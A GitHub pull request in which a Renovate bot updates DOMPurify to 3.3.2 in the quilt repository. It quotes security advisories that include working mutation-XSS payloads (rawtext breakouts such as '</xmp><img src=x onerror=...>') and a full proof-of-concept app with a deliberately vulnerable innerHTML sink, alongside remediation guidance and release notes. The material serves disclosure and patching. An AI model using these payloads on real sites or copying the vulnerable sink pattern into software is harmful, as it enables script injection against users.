chore(deps): update dependency dompurify to v3.3.2 [security] by renovate[bot] · Pull Request #4754 · quiltdata/quilt

renovate · 2026-03-04T22:50:24Z

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	`3.2.5` → `3.3.2`

GitHub Vulnerability Alerts

CVE-2025-15599

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

CVE-2026-0540

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

GHSA-h8r8-wccr-v5f2

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

Start the PoC app:

npm install
npm start

Open http://localhost:3001.
Set Wrapper en sink to xmp.
Use payload:

 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">

Click Sanitize + Render.
Observe:

Sanitized response still contains the </xmp> sequence inside alt.
The sink reparses to include <img src="x" onerror="alert('expoc')">.
alert('expoc') is triggered.

Files:

index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #&#8203;0f172a;
        --muted: #&#8203;475569;
        --accent: #&#8203;0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #&#8203;0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #&#8203;94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #&#8203;22c55e;
        background: #f0fdf4;
      }

      @&#8203;media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>

server.js

const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});

package.json

{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

PoC

daft-video.webm

XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
Keep the rendering context stable from sanitize to sink.
Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Release Notes

cure53/DOMPurify (dompurify)

`v3.3.2`: DOMPurify 3.3.2

Compare Source

Fixed a possible bypass caused by jsdom's faulty raw-text tag parsing, thanks multiple reporters
Fixed a prototype pollution issue when working with custom elements, thanks @christos-eth
Fixed a lenient config parsing in _isValidAttribute, thanks @christos-eth
Bumped and removed several dependencies, thanks @Rotzbua
Fixed the test suite after bumping dependencies, thanks @Rotzbua

`v3.3.1`: DOMPurify 3.3.1

Compare Source

Updated ADD_FORBID_CONTENTS setting to extend default list, thanks @MariusRumpf
Updated the ESM import syntax to be more correct, thanks @binhpv

`v3.3.0`: DOMPurify 3.3.0

Compare Source

Added the SVG mask-type attribute to default allow-list, thanks @prasadrajandran
Added support for ADD_ATTR and ADD_TAGS to accept functions, thanks @nelstrom
Fixed an issue with the slot element being in both SVG and HTML allow-list, thanks @Wim-Valgaeren

`v3.2.7`: DOMPurify 3.2.7

Compare Source

Added new attributes and elements to default allow-list, thanks @elrion018
Added tagName parameter to custom element attributeNameCheck, thanks @nelstrom
Added better check for animated href attributes, thanks @llamakko
Updated and improved the bundled types, thanks @ssi02014
Updated several tests to better align with new browser encoding behaviors
Improved the handling of potentially risky content inside CDATA elements, thanks @securityMB & @terjanq
Improved the regular expression for raw-text elements to cover textareas, thanks @securityMB & @terjanq

`v3.2.6`: DOMPurify 3.2.6

Compare Source

Fixed several typos and removed clutter from our documentation, thanks @Rotzbua
Added matrix: as an allowed URI scheme, thanks @kleinesfilmroellchen
Added better config hardening against prototype pollution, thanks @EffectRenan
Added better handling of attribute removal, thanks @michalnieruchalski-tiugo
Added better configuration for aggressive mXSS scrubbing behavior, thanks @BryanValverdeU
Removed the script that caused the fake entry CVE-2025-48050

Configuration

📅 Schedule: (UTC)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

greptile-apps · 2026-03-04T22:50:28Z

No reviewable files after applying ignore patterns.

codecov · 2026-03-04T22:52:10Z

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 94.05%. Comparing base (b6048c8) to head (c037ad1).

Additional details and impacted files

@@             Coverage Diff             @@
##           master    #4754       +/-   ##
===========================================
+ Coverage   45.62%   94.05%   +48.42%     
===========================================
  Files         831      146      -685     
  Lines       33597    11766    -21831     
  Branches     5727        0     -5727     
===========================================
- Hits        15328    11066     -4262     
+ Misses      16264      700    -15564     
+ Partials     2005        0     -2005

Flag	Coverage Δ
api-python	`93.14% <ø> (ø)`
catalog	`?`
lambda	`96.63% <ø> (ø)`
py-shared	`98.18% <ø> (ø)`

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

renovate bot added the js dependencies label Mar 4, 2026

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from ac82564 to 979e25c Compare March 5, 2026 02:49

renovate bot changed the title ~~chore(deps): update dependency dompurify to v3.2.7 [security]~~ chore(deps): update dependency dompurify to v3.3.2 [security] Mar 5, 2026

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 4 times, most recently from bafdc1a to 748536d Compare March 12, 2026 15:58

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 6 times, most recently from a0447d6 to a482423 Compare March 18, 2026 23:01

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 3 times, most recently from fd39bf6 to 4473c1b Compare March 25, 2026 13:40

renovate bot changed the title ~~chore(deps): update dependency dompurify to v3.3.2 [security]~~ chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosed Mar 27, 2026

renovate bot closed this Mar 27, 2026

renovate bot deleted the renovate/npm-dompurify-vulnerability branch March 27, 2026 00:48

renovate bot changed the title ~~chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosed~~ chore(deps): update dependency dompurify to v3.3.2 [security] Mar 28, 2026

renovate bot reopened this Mar 28, 2026

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 2 times, most recently from 4473c1b to 0454259 Compare March 28, 2026 09:28

renovate bot changed the title ~~chore(deps): update dependency dompurify to v3.3.2 [security]~~ chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosed Mar 28, 2026

renovate bot closed this Mar 28, 2026

renovate bot changed the title ~~chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosed~~ chore(deps): update dependency dompurify to v3.3.2 [security] Mar 30, 2026

renovate bot reopened this Mar 30, 2026

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from daafc85 to 0454259 Compare March 30, 2026 09:10

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 10 times, most recently from b26f737 to cd9f0db Compare April 2, 2026 10:29

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 5 times, most recently from edf17da to a25f137 Compare April 8, 2026 07:50

nl0 previously approved these changes Apr 8, 2026

View reviewed changes

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 6 times, most recently from 20416ca to 3d4685c Compare April 9, 2026 09:00

renovate bot dismissed nl0’s stale review via 4e46e2b April 9, 2026 10:25

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 3 times, most recently from 67def01 to ef84b97 Compare April 10, 2026 15:31

chore(deps): update dependency dompurify to v3.3.2 [security]

c037ad1

renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from ef84b97 to c037ad1 Compare April 10, 2026 18:35

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency dompurify to v3.3.2 [security]#4754

chore(deps): update dependency dompurify to v3.3.2 [security]#4754
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-dompurify-vulnerability

renovate bot commented Mar 4, 2026 •

edited

Loading

Uh oh!

greptile-apps bot commented Mar 4, 2026

Uh oh!

codecov bot commented Mar 4, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Conversation

renovate bot commented Mar 4, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

CVE-2025-15599

CVE-2026-0540

GHSA-h8r8-wccr-v5f2

Description

Vulnerability

PoC

Evidence

Why This Happens

Remediation Guidance

Release Notes

v3.3.2: DOMPurify 3.3.2

v3.3.1: DOMPurify 3.3.1

v3.3.0: DOMPurify 3.3.0

v3.2.7: DOMPurify 3.2.7

v3.2.6: DOMPurify 3.2.6

Configuration

Uh oh!

greptile-apps bot commented Mar 4, 2026

Uh oh!

codecov bot commented Mar 4, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Codecov Report

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

renovate bot commented Mar 4, 2026 •

edited

Loading

`v3.3.2`: DOMPurify 3.3.2

`v3.3.1`: DOMPurify 3.3.1

`v3.3.0`: DOMPurify 3.3.0

`v3.2.7`: DOMPurify 3.2.7

`v3.2.6`: DOMPurify 3.2.6

codecov bot commented Mar 4, 2026 •

edited

Loading